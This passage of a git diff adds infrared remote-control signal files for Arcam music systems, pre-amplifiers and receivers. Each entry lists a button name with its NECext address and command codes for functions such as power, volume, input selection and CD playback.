+command: 50 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: RIGHTA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: C_RIGHT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: LEFT_CURSOR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: LEFT_CURSOR_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: LEFTA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: C_LEFT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: DOWN_CURSOR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: DOWN_CURSOR_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: DOWNA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: C_DOWN_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: UP_CURSOR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: UP_CURSOR_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: UPA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: C_UP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: OK_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: OKA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_SELECT_(OK) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: OK_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: DISCRETE_ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7B 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7B 00 00 00 +# +name: DISCRETE_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7C 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir new file mode 100644 index 000000000..d4502b997 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SELECT_TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: SELECT_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: DAB/AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: SELECT_DAB/AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: SELECT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: SELECT_GAME +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: FRONT_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: SELECT_FRONT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: SELECT_FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: INFO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: VOL_ZONE_1+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: VOL_ZONE_1- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: MUTE_ZONE_1_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: MUTE_ZONE_1_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: MUTE_ZONE_1_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 47 00 00 00 +# +name: ZONE_2_VOL+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: VOL_ZONE_2+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: ZONE_2_VOL- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: VOL_ZONE_2_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: ZONE_2_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: MUTE_ZONE_2_TOGGL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: MUTE_ZONE_2_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: MUTE_ZONE_2_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: NAVIGATE_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: NAVIGATE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: NAVIGATE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: OK/ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: ALARM1_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: ALARM_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: ALARM2_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: ALARM_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: ALARM3_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: ALARM_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: ALARM4_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: ALARM_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: SLEEP_ON/REDUCE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 76 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: STANDBY_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: STANDBY_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir new file mode 100644 index 000000000..7930152a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: TUNER/CD_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: TUNER/CD_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: TUNER/CD_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: TUNER/CD_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: TUNER/CD_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: TUNER/CD_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: TUNER/CD_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: TUNER/CD_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: TUNER/CD_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: TUNER/CD_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: INFO_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir new file mode 100644 index 000000000..996ab06f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP/SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: CD_NEXT_TRACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP/SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: CD_PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: CD_PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: CD_EJECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: CD_SCAN_BACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: CD_SCAN_FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CD_CLEAR +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..2283906d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: INPUT_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: INPUT_DVD-A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: RESTORE_(FAV) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: SAT_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: AV_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: DVD_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: TAPE_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: VCR_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: MODES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: THX_MODES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: TRIM_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: LIP_SYNC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SUB_TRIM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: EFFECT_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3F 00 00 00 +# +name: EFFECT:_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: EFFECT:_PARTY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: EFFECT:_CLUB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: EFFECT:_HALL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: EFFECT:_SPORT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: EFFECT:_CHURCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: EFFECTS_MODES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: DIRECT_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DIRECT_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: MONO_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: DOLBY_PL2_MOVIE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: DOLBY_PL2_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: DOLBY_PRO_EMULATION +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: DTS_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6F 00 00 00 +# +name: DTS_NEO_6:MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 70 00 00 00 +# +name: THX_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: THX_ULTRA2_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: THX_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: THX_SURROUND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 75 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: VIDEO_TYPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir new file mode 100644 index 000000000..2ad97aebc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir new file mode 100644 index 000000000..b3d5b915c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir @@ -0,0 +1,1238 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SAT_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SAT_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: 2_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SELECT_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: 5:1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: AV_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: 8_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: SELECT_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: TUNER_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: TUNER_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: TUNER_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: 7_TUN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: SELECT_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: DVD_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: DVD_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: 1_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: SELECT_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: TAPE_MON_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_MON_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: 6_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: SELECT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: VCR_1_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR_1_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: 3_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: SELECT_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: CD_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: CD_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: CD +type: parsed +protocol: 